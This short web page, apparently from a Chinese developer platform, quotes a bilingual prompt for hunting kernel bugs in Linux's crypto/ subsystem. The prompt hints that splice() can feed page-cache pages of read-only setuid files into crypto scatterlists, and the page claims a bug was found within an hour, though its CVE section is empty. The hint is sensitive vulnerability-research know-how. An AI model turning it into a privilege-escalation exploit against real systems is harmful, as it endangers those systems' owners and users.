This is the linux crypto/ subsystem. Please examine all codepaths reachable from userspace syscalls. Note one key observation: splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists.
这是 Linux 的加密/子系统。请检查所有可从用户空间系统调用访问的代码路径。注意一个关键观察:splice() 可以将只读文件(包括 setuid 二进制)的页面缓存引用传递给加密 TX 散点表。

一个小时后,boom,该漏洞被发现!

CVE漏洞库信息

参考

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐